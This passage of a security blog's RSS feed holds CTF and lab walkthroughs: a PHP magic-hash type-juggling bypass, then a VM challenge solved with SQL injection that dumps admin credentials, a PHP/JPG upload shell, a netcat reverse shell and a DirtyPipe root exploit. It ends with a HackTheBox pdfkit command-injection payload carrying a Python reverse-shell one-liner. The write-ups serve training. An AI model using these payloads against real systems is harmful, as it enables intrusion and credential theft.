41 67 61 57 35 6a 62 48 56 6b 5a 53 67 6e 5a 6d 78 68 5a 79 35 77 61 48 41 6e 4b 54 73 4b 49 43 41 67 49 43 41 67 49 43 42 77 63 6d 6c 75 64 43 41 6b 5a 6d 78 68 5a 7a 73 4b 49 43 41 67 49 48 30 67 5a 57 78 7a 5a 53 42 37 43 69 41 67 49 43 41 67 49 43 41 67 63 48 4a 70 62 6e 51 67 49 6b 4e 54 52 55 74 37 62 6a 42 66 4e 47 78 68 5a 31 38 30 58 33 56 39 49 6a 73 4b 49 43 41 67 49 48 30 4b 66 53 41 4b 50 7a 34 3d&#34;</span><span class="p">;</span>
</span></span></code></pre></div><p>It is double encoding: hex &gt; Base64</p>
<p>Tool used to decode: <a href="https://gchq.github.io/CyberChef/#">https://gchq.github.io/CyberChef/#</a></p>
<p>after decoding it with hex and Base64 we get php code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl"><span class="c1">// you_found_me.php
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;hash&#39;</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;hash&#39;</span><span class="p">]</span> <span class="o">===</span> <span class="s2">&#34;10932435112&#34;</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">die</span><span class="p">(</span><span class="s1">&#39;Do you think its that easy??&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$hash</span> <span class="o">=</span> <span class="nx">sha1</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;hash&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="nv">$target</span> <span class="o">=</span> <span class="nx">sha1</span><span class="p">(</span><span class="mi">10932435112</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="nv">$hash</span> <span class="o">==</span> <span class="nv">$target</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">include</span><span class="p">(</span><span class="s1">&#39;flag.php&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">print</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">print</span> <span class="s2">&#34;CSEK{n0_4lag_4_u}&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre></div><p>This is php code for file <code>you_found_me.php</code> and it will check for GET parameter <code>hash</code> and to get the flag it will check for the condition if <code>sha1(10932435112) == sha1($_GET['hash'])</code></p>
<p>But before this it will check if <code>$_GET['hash'] === &quot;10932435112&quot;</code> if yes die.</p>
<p>We can see that for the flag condition it is using <code>==</code> in <code>$hash == $target</code>. this is loosely comparision</p>
<p>The <code>sha1 of 10932435112 = 0e07766915004133176347055865026311692244</code> and in php this is treated as scientific E-notation.</p>
<p>Scientific E-notation is used to write very long numbers in a short form, <code>1e6</code> is <code>10^6</code> which is <code>1000000</code></p>
<p>Now because this sha1 hash of &ldquo;10932435112&rdquo; start with <code>0e0</code> it will be trated as &ldquo;0&rdquo; because 0^anythig is 0. so any string which have sha1 hash starting with 0e and followed by any number will be treated as &ldquo;0&rdquo; and it will pass the condition.</p>
<p>Reference for this type of hashes: <a href="https://github.com/spaze/hashes/blob/master/sha1.md">https://github.com/spaze/hashes/blob/master/sha1.md</a></p>
<p>This hashes are also known as magic hashes</p>
<p>here I&rsquo;m using the payload: <code>hash=aaroZmOk</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">https://webctf.cloudsek.com/the-sha-juggler/you_found_me.php?hash=aaroZmOk
</span></span></code></pre></div><p>Flag: <code>CSEK{typ3_juggl1ng_1n_php}</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Internal Hiring Challenge Machine WriteUp</title>
      <link>https://aftabsama.com/writeups/other-machines/hiring-challenge-28-sep-2023/</link>
      <pubDate>Thu, 28 Sep 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/other-machines/hiring-challenge-28-sep-2023/</guid>
      <description>This is about exploiting a virtual machine using Blackbox Testing, which I successfully completed as part of a hiring challenge.</description>
      <content:encoded><![CDATA[<hr>
<p><strong>Challenge Type</strong> : <em>Blackbox Testing</em></p>
<p><strong>Challenge Description</strong>: <em>Download the VM and start it. It has a web application hosted which is configured to boot at start so you can put the VM in the background. Simply find the address of the application and start pentesting.</em></p>
<p><strong>Challenge Goal</strong>: <em>Find the file <code>flag.txt</code> and read its content.</em></p>
<p>First we start by finding the IP of machine here i used the <code>netdiscover</code> command.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">┌─<span class="o">[</span>aftab@parrot<span class="o">]</span>─<span class="o">[</span>~/Downloads/practice/challenge<span class="o">]</span>
</span></span><span class="line"><span class="cl">└──╼ <span class="nv">$sudo</span> netdiscover -r 192.168.1.12/24
</span></span><span class="line"><span class="cl">Currently scanning: Finished!   <span class="p">|</span>   Screen View: Unique Hosts
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="m">5</span> Captured ARP Req/Rep packets, from <span class="m">5</span> hosts.   Total size: <span class="m">300</span>
</span></span><span class="line"><span class="cl"> _____________________________________________________________________________
</span></span><span class="line"><span class="cl">   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
</span></span><span class="line"><span class="cl"> -----------------------------------------------------------------------------
</span></span><span class="line"><span class="cl"> 192.168.1.4     **:**:**:**:**:**      <span class="m">1</span>      <span class="m">60</span>  CHONGQING FUGUI ELECTRONICS
</span></span><span class="line"><span class="cl"> 192.168.1.1     **:**:**:**:**:**      <span class="m">1</span>      <span class="m">60</span>  Syrotech Networks. Ltd.
</span></span><span class="line"><span class="cl"> 192.168.1.5     **:**:**:**:**:**      <span class="m">1</span>      <span class="m">60</span>  Intel Corporate
</span></span><span class="line"><span class="cl"> 192.168.1.21    **:**:**:**:**:**      <span class="m">1</span>      <span class="m">60</span>  Intel Corporate
</span></span></code></pre></div><p>here <code>192.168.1.1</code> is ip of router.</p>
<p>we scane the IP <code>192.168.1.5</code>,<code>192.168.1.21</code> and the IP <code>192.168.1.21</code> have web service running at port 42710.</p>
<p>I use <code>rustscan</code> for port scaning in CTFs because it is insanely fast.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">┌─<span class="o">[</span>aftab@parrot<span class="o">]</span>─<span class="o">[</span>~/Downloads/practice/challenge<span class="o">]</span>
</span></span><span class="line"><span class="cl">└──╼ <span class="nv">$rustscan</span> -a 192.168.1.21
</span></span><span class="line"><span class="cl">File limit higher than batch size. Can increase speed by increasing batch size <span class="s1">&#39;-b 924&#39;</span>.
</span></span><span class="line"><span class="cl">Open 192.168.1.21:42710
</span></span><span class="line"><span class="cl">Starting Script<span class="o">(</span>s<span class="o">)</span>
</span></span><span class="line"><span class="cl">Script to be run Some<span class="o">(</span><span class="s2">&#34;nmap -vvv -p {{port}} {{ip}}&#34;</span><span class="o">)</span>
</span></span><span class="line"><span class="cl">...
</span></span></code></pre></div><p>opening this website we have nothing but this page:</p>
<img width="397" alt="image" src="https://user-images.githubusercontent.com/79740895/208959026-568a1c93-0751-4386-9bf7-79a56ddbbabc.png">
<p>First though was to look for <code>robots.txt</code> file but no luck so i did directory bruteforcing with gobuster.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">┌─<span class="o">[</span>aftab@parrot<span class="o">]</span>─<span class="o">[</span>~/Downloads/practice/challenge<span class="o">]</span>
</span></span><span class="line"><span class="cl">└──╼ <span class="nv">$gobuster</span> dir -u http://192.168.1.21:42710/ -w /usr/share/wordlists/dirb/common.txt
</span></span><span class="line"><span class="cl"><span class="o">===============================================================</span>
</span></span><span class="line"><span class="cl">Gobuster v3.1.0
</span></span><span class="line"><span class="cl">by OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> <span class="p">&amp;</span> Christian Mehlmauer <span class="o">(</span>@firefart<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">===============================================================</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Url:                     http://192.168.1.21:42710/
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Method:                  GET
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Threads:                 <span class="m">10</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Wordlist:                /usr/share/wordlists/dirb/common.txt
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Negative Status codes:   <span class="m">404</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> User Agent:              gobuster/3.1.0
</span></span><span class="line"><span class="cl"><span class="o">[</span>+<span class="o">]</span> Timeout:                 <span class="nv">10s</span>
</span></span><span class="line"><span class="cl"><span class="o">===============================================================</span>
</span></span><span class="line"><span class="cl">2022/12/21 22:09:58 Starting gobuster in directory enumeration <span class="nv">mode</span>
</span></span><span class="line"><span class="cl"><span class="o">===============================================================</span>
</span></span><span class="line"><span class="cl">/.hta                 <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 280<span class="o">]</span>
</span></span><span class="line"><span class="cl">/.htaccess            <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 280<span class="o">]</span>
</span></span><span class="line"><span class="cl">/.htpasswd            <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 280<span class="o">]</span>
</span></span><span class="line"><span class="cl">/Admin                <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 321<span class="o">]</span> <span class="o">[</span>--&gt; http://192.168.1.21:42710/Admin/<span class="o">]</span>
</span></span><span class="line"><span class="cl">/assets               <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 322<span class="o">]</span> <span class="o">[</span>--&gt; http://192.168.1.21:42710/assets/<span class="o">]</span>
</span></span><span class="line"><span class="cl">/includes             <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 324<span class="o">]</span> <span class="o">[</span>--&gt; http://192.168.1.21:42710/includes/<span class="o">]</span>
</span></span><span class="line"><span class="cl">/index.php            <span class="o">(</span>Status: 200<span class="o">)</span> <span class="o">[</span>Size: 349<span class="o">]</span>
</span></span><span class="line"><span class="cl">/search_result        <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 329<span class="o">]</span> <span class="o">[</span>--&gt; http://192.168.1.21:42710/search_result/<span class="o">]</span>
</span></span><span class="line"><span class="cl">/server-status        <span class="o">(</span>Status: 403<span class="o">)</span> <span class="o">[</span>Size: 280<span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">===============================================================</span>
</span></span><span class="line"><span class="cl">2022/12/21 22:10:05 <span class="nv">Finished</span>
</span></span><span class="line"><span class="cl"><span class="o">===============================================================</span>
</span></span></code></pre></div><p>now we have some interesting directories like Admin and search_result.</p>
<p>Admin page requires authentication Username and Password.</p>
<p><a href="http://192.168.1.21:42710/search_result/">http://192.168.1.21:42710/search_result/</a></p>
<img width="240" alt="image" src="https://user-images.githubusercontent.com/79740895/208960036-f154d56c-5bbf-4b35-8d97-b39dcf34c217.png">
<p>now this is something interesting there is link to</p>
<p><a href="http://192.168.1.21:42710/search_result/result_2022.php">http://192.168.1.21:42710/search_result/result_2022.php</a></p>
<img width="544" alt="image" src="https://user-images.githubusercontent.com/79740895/208960308-7fa28195-3dc5-40ec-b877-5b1922e29dcf.png">
<p><em>The Results of 2022 have not been published yet</em> so let&rsquo;s try 2021 :</p>
<p><a href="http://192.168.1.21:42710/search_result/result_2021.php">http://192.168.1.21:42710/search_result/result_2021.php</a></p>
<img width="913" alt="image" src="https://user-images.githubusercontent.com/79740895/208960741-f610c650-98f4-40dd-87dd-5102f9e3e1ee.png">
<br/>
<p>on submitting the form we have this response:</p>
<br/>
<img width="916" alt="image" src="https://user-images.githubusercontent.com/79740895/208962242-acde389b-6d0b-4746-9508-19670e187ebc.png">
<p><code>ID, Name, Roll, Marks</code> it looks like it is fetching this data from sql database so lets try SQL injection.</p>
<p>this POST request have <code>data=NjIxNzI5NTgx</code> it base64 encoded value of <code>621729581</code>.</p>
<p>lets try with simple payload <code>' OR 1=1 #</code> but it is not working after few tries i tried <code>621729581 OR 1=1</code> base64 encode and it gives us all the entries hooray,
and that is successful SQL injection.</p>
<p>payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">data=&lt;@base64&gt;621729581 OR 1=1&lt;@/base64&gt;
</span></span></code></pre></div><blockquote>
<p>I&rsquo;m using Hackvertor burp extension.</p></blockquote>
<img width="918" alt="image" src="https://user-images.githubusercontent.com/79740895/208964245-b65f25db-f151-4791-8cf1-c43d3a977d9d.png">
<p>we know the number of columns it is 4 : <code>ID,	Name,	Roll,	Marks</code>.So the payload for union attack would be:</p>
<p>payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">data=&lt;@base64&gt;621729581 UNION SELECT NULL, NULL, NULL, NULL&lt;@/base64&gt;
</span></span></code></pre></div><p>It gives us the result in response so payload is correct and we also know the data types it should be Integer for ID, Roll, Marks and String for Name so we can put this values in payload.</p>
<p>payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">data=&lt;@base64&gt;621729581 UNION SELECT 1, &#34;name&#34;, 2, 3&lt;@/base64&gt;
</span></span></code></pre></div><p>response:</p>
<img width="174" alt="image" src="https://user-images.githubusercontent.com/79740895/208965679-8c116a48-31b5-4c6c-a8d8-d7e39ae5c49a.png">
<p>Now we can try to extract the databases&rsquo;name, tables&rsquo;name, columns&rsquo;name.</p>
<p>Reference:
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md</a></p>
<p>payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">data=&lt;@base64&gt;621729581 UNION SELECT 1, gRoUp_cOncaT(0x7c,schema_name,0x7c), 2, 3 fRoM information_schema.schemata&lt;@/base64&gt;
</span></span></code></pre></div><p>response:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">|mysql|,|information_schema|,|performance_schema|,|sys|,|ezbox|
</span></span></code></pre></div><p>Now let&rsquo;s try to extract table name.</p>
<p>payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">data=&lt;@base64&gt;621729581 UNION SELECT 1, gRoUp_cOncaT(0x7c,table_name,0x7c), 2, 3 fRoM information_schema.tables&lt;@/base64&gt;
</span></span></code></pre></div><p>response:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">|results|,|users|,|ADMINISTRABLE_ROLE_AUTHORIZATIONS|,|APPLICABLE_ROLES|,|CHARACTER_SETS|,|CHECK_CONSTRAINTS|,|COLLATIONS|,|COLLATION_CHARACTER_SET_APPLICABILITY|,|COLUMNS|,|COLUMNS_EXTENSIONS|,|COLUMN_PRIVILEGES|,|COLUMN_STATISTICS|,|ENABLED_ROLES|,|ENGINES|,|EVENTS|,|FILES|,|INNODB_BUFFER_PAGE|,|INNODB_BUFFER_PAGE_LRU|,|INNODB_BUFFER_POOL_STATS|,|INNODB_CACHED_INDEXES|,|INNODB_CMP|,|INNODB_CMPMEM|,|INNODB_CMPMEM_RESET|,|INNODB_CMP_PER_INDEX|,|INNODB_CMP_PER_INDEX_RESET|,|INNODB_CMP_RESET|,|INNODB_COLUMNS|,|INNODB_DATAFILES|,|INNODB_FIELDS|,|INNODB_FOREIGN|,|INNODB_FOREIGN_COLS|,|INNODB_FT_BEING_DELETED|,|INNODB_FT_CONFIG|,|INNODB_FT_DEFAULT_STOPWORD|,|INNODB_FT_DELETED|,|INNODB_FT_INDEX_CACHE|,|INNODB_FT_INDEX_TABLE|,|INNODB_INDEXES|,|INNODB_METRICS|,|INNODB_SESSION_TEMP_TABLESPACES|,|INNODB_TABLES|,|INNODB_TABLESPACES|,|INNODB_TABLESPACES_BRIEF|,|INNODB_TABLESTATS|,|INNODB_TEMP_TABLE_INFO|,|INNODB_TRX|,|INNODB_VIRTUAL|,|KEYWORDS|,|KEY_COLUMN_USAGE|,|OPTIMIZER_TRACE|,|PARAMETERS|,|PARTITIONS|,|PLUGINS|,|PRO
</span></span></code></pre></div><p>We have table with name <code>users</code> let&rsquo;s see the columns of this table.</p>
<p>payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">data=&lt;@base64&gt;621729581 UNION SELECT 1, gRoUp_cOncaT(0x7c,column_name,0x7c), 2, 3 fRoM information_schema.columns wHeRe table_name=&#34;users&#34;&lt;@/base64&gt;
</span></span></code></pre></div><p>response:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">|id|,|password|,|profile_picture|,|username|,|CURRENT_CONNECTIONS|,|TOTAL_CONNECTIONS|,|USER|
</span></span></code></pre></div><p>We have username and password feilds here. Let&rsquo;s extract them!</p>
<p>payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">data=&lt;@base64&gt;621729581 UNION SELECT 1, gRoUp_cOncaT(0x7c,username,0x7c), 2, 3 fRoM users&lt;@/base64&gt;
</span></span></code></pre></div><p>response: <code>|Admin|</code></p>
<p>username=Admin</p>
<p>payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">data=&lt;@base64&gt;621729581 UNION SELECT 1, gRoUp_cOncaT(0x7c,password,0x7c), 2, 3 fRoM users&lt;@/base64&gt;
</span></span></code></pre></div><p>response: <code>|zohl8meicohci9raw0|</code></p>
<p>password=zohl8meicohci9raw0</p>
<p>We have username and password let&rsquo;s login as Admin.</p>
<p><code>http://192.168.1.21:42710/Admin/dashboard.php</code></p>
<img width="929" alt="image" src="https://user-images.githubusercontent.com/79740895/208969394-1dd39a65-4610-4344-a776-bc499c46fd7a.png">
<p>looking at source code we have this comment:</p>
<img width="268" alt="image" src="https://user-images.githubusercontent.com/79740895/208969571-d42ef165-ef6c-4f45-b8b2-ff8a27d66335.png">
<p>visiting this page <code>http://192.168.1.21:42710/Admin/edit_profile.php</code></p>
<img width="321" alt="image" src="https://user-images.githubusercontent.com/79740895/208969819-070314c6-98a8-473a-811f-faf3b991b983.png">
<p>We have functionality of file upload let&rsquo;s try uploading some php file.</p>
<p>Oops error can&rsquo;t upload php, let&rsquo;s try simple jpg file.</p>
<img width="279" alt="image" src="https://user-images.githubusercontent.com/79740895/208970421-24489ab8-94a5-4370-9eab-c0e5c330c70f.png">
<p>so we can only upload jpg file but how it is checking for file type extension? let&rsquo;s do one experiment rename the jpg file to php if error it is looking for extension and if successful it is checking MIME type.</p>
<p>Record updated successfullyThe file has been uploaded, so MIME type it is.</p>
<p>We have to create polyglot PHP/JPG payload. how i do it is open jpg file and append php payload at last so let&rsquo;s create <a href="https://github.com/Aftab700/Writeups/raw/1178fdf5b724e5cc90df7a446909b259811273b4/Others/files/simple.php">simple.php</a> payload.</p>
<p><strong>Record updated successfullyThe file has been uploaded</strong> and file is uploaded successfully but where ?</p>
<p>we have column name profile_picture in users table, if you remember that we still have SQLi.</p>
<p>payload=</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">data=&lt;@base64&gt;621729581 UNION SELECT 1, gRoUp_cOncaT(0x7c,profile_picture,0x7c), 2, 3 fRoM users&lt;@/base64&gt;
</span></span></code></pre></div><p>result = <code>|../assets/uploads/simple.php|</code></p>
<p>so our file is at <code>http://192.168.1.21:42710/assets/uploads/simple.php</code></p>
<img width="759" alt="image" src="https://user-images.githubusercontent.com/79740895/208973100-2b05bb94-de13-42f2-bd9d-e6c978989c45.png">
<p>It works just fine let&rsquo;s get reverse shell. for reference: <a href="https://www.revshells.com/">https://www.revshells.com/</a></p>
<p><a href="https://github.com/Aftab700/Writeups/raw/1178fdf5b724e5cc90df7a446909b259811273b4/Others/files/revshell.php">revshell.php</a></p>
<p>we start listener: <code>nc -lvnp 8888</code></p>
<p>and path= <code>http://192.168.1.21:42710/assets/uploads/revshell.php</code></p>
<p>on visiting this file we have reverse shell:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">┌─<span class="o">[</span>aftab@parrot<span class="o">]</span>─<span class="o">[</span>~/Downloads/practice/challenge<span class="o">]</span>
</span></span><span class="line"><span class="cl">└──╼ <span class="nv">$nc</span> -lvnp <span class="m">8888</span>
</span></span><span class="line"><span class="cl">listening on <span class="o">[</span>any<span class="o">]</span> <span class="m">8888</span> ...
</span></span><span class="line"><span class="cl">connect to <span class="o">[</span>192.168.1.12<span class="o">]</span> from <span class="o">(</span>UNKNOWN<span class="o">)</span> <span class="o">[</span>192.168.1.21<span class="o">]</span> <span class="m">38442</span>
</span></span><span class="line"><span class="cl">Linux heathrow-VirtualBox 5.11.0-16-generic <span class="c1">#17-Ubuntu SMP Wed Apr 14 20:12:43 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux</span>
</span></span><span class="line"><span class="cl"> 23:44:47 up  2:01,  <span class="m">1</span> user,  load average: 0.00, 0.01, 0.00
</span></span><span class="line"><span class="cl">USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
</span></span><span class="line"><span class="cl">heathrow tty2     tty2             21:32    2:12m  0.03s  0.03s /usr/libexec/gnome-session-binary --systemd --session<span class="o">=</span>ubuntu
</span></span><span class="line"><span class="cl"><span class="nv">uid</span><span class="o">=</span>33<span class="o">(</span>www-data<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>33<span class="o">(</span>www-data<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>33<span class="o">(</span>www-data<span class="o">)</span>
</span></span><span class="line"><span class="cl">bash: cannot <span class="nb">set</span> terminal process group <span class="o">(</span>732<span class="o">)</span>: Inappropriate ioctl <span class="k">for</span> device
</span></span><span class="line"><span class="cl">bash: no job control in this shell
</span></span><span class="line"><span class="cl">www-data@heathrow-VirtualBox:/$ id
</span></span><span class="line"><span class="cl">id
</span></span><span class="line"><span class="cl"><span class="nv">uid</span><span class="o">=</span>33<span class="o">(</span>www-data<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>33<span class="o">(</span>www-data<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>33<span class="o">(</span>www-data<span class="o">)</span>
</span></span><span class="line"><span class="cl">www-data@heathrow-VirtualBox:/$
</span></span></code></pre></div><p>We have shell but we can&rsquo;t access /home/heathrow we need to escalate our privilege. first thing that comes in mind is <code>linpeas.sh</code>. let&rsquo;s move that to victim machine i create local server with python <code>python -m http.server 80</code>, to transfer file because we normally don&rsquo;t have internet access in victim machine.</p>
<p>change permissions to +x : <code>chmod +x linpeas.sh</code></p>
<p>Now run the file: <code>./linpeas.sh</code></p>
<p>Analyzing the output we have first suggestion for <strong>[CVE-2022-0847] DirtyPipe</strong>:</p>
<img width="310" alt="image" src="https://user-images.githubusercontent.com/79740895/208977841-a68b2f57-224e-44ae-b548-103ce9b3b21c.png">
<p>reference: <a href="https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits">https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits</a></p>
<p>we follow the steps in GitHub repo and we have <code>exploit-1</code>, <code>exploit-2</code>. transfer this to victim machine and run.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">www-data@heathrow-VirtualBox:/tmp$ wget 192.168.1.12/exploit-2
</span></span><span class="line"><span class="cl">wget 192.168.1.12/exploit-2
</span></span><span class="line"><span class="cl">--2022-12-22 00:04:11--  http://192.168.1.12/exploit-2
</span></span><span class="line"><span class="cl">Connecting to 192.168.1.12:80... connected.
</span></span><span class="line"><span class="cl">HTTP request sent, awaiting response... <span class="m">200</span> OK
</span></span><span class="line"><span class="cl">Length: <span class="m">21480</span> <span class="o">(</span>21K<span class="o">)</span> <span class="o">[</span>application/octet-stream<span class="o">]</span>
</span></span><span class="line"><span class="cl">Saving to: <span class="s1">&#39;exploit-2&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">     0K .......... ..........                                 100%  <span class="nv">395K</span><span class="o">=</span>0.05s
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">2022-12-22 00:04:11 <span class="o">(</span><span class="m">395</span> KB/s<span class="o">)</span> - <span class="s1">&#39;exploit-2&#39;</span> saved <span class="o">[</span>21480/21480<span class="o">]</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">www-data@heathrow-VirtualBox:/tmp$ ./exploit-2 /usr/bin/sudo
</span></span><span class="line"><span class="cl">./exploit-2 /usr/bin/sudo
</span></span><span class="line"><span class="cl">id
</span></span><span class="line"><span class="cl"><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>,33<span class="o">(</span>www-data<span class="o">)</span>
</span></span><span class="line"><span class="cl">find / -type f -name <span class="s2">&#34;flag.txt&#34;</span> 2&gt;/dev/null
</span></span><span class="line"><span class="cl">/home/heathrow/flag.txt
</span></span><span class="line"><span class="cl">cat /home/heathrow/flag.txt
</span></span><span class="line"><span class="cl">flag<span class="o">{</span>box_cracked_successfully_report_to_admin<span class="o">}</span>challenge
</span></span></code></pre></div><hr>
<p>flag:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag{box_cracked_successfully_report_to_admin}challenge
</span></span></code></pre></div><p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>Precious - HackTheBox</title>
      <link>https://aftabsama.com/writeups/hackthebox/machine-precious/</link>
      <pubDate>Thu, 28 Sep 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/hackthebox/machine-precious/</guid>
      <description>https://www.hackthebox.com/machines/precious</description>
      <content:encoded><![CDATA[<hr>
<h3 id="about-precious">About Precious</h3>
<ul>
<li>Precious is an Easy Difficulty Linux machine, that focuses on the <code>Ruby</code> language.</li>
<li>It hosts a custom <code>Ruby</code> web application, using an outdated library, namely pdfkit, which is vulnerable to <code>CVE-2022-25765</code>, leading to an initial shell on the target machine.</li>
<li>After a pivot using plaintext credentials that are found in a Gem repository <code>config</code> file, the box concludes with an insecure deserialization attack on a custom, outdated, <code>Ruby</code> script.</li>
</ul>
<h3 id="scanning">Scanning</h3>
<p>Port scaning with nmap</p>
<ul>
<li>port 80 is open : redirect to <a href="http://precious.htb/">http://precious.htb/</a></li>
</ul>
<p>add this to <code>/etc/hosts</code>.</p>
<h3 id="foothold">Foothold</h3>
<p>On this page we have <strong>Convert Web Page to PDF</strong> functionality.</p>
<img width="474" alt="image" src="https://user-images.githubusercontent.com/79740895/231573264-a9246425-3e38-4e9d-8b5a-431684ceff6f.png">
<p>after giving url pdf file is downloaded.</p>
<p>using exiftool on pdf we know that it is <em>Generated by pdfkit v0.8.6</em>.</p>
<p>This version is vulnerable to RCE.</p>
<p>Payload:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">http://%20`{command}`
</span></span></code></pre></div><p>we can use this payload to get reverse shell:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">http://%20<span class="sb">`</span>python3 -c <span class="s1">&#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#34;10.10.14.40&#34;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&#34;bash&#34;)&#39;</span><span class="sb">`</span>
</span></span></code></pre></div><p>references: <a href="https://www.revshells.com/">https://www.revshells.com/</a></p>
<p>we get shell as user ruby</p>
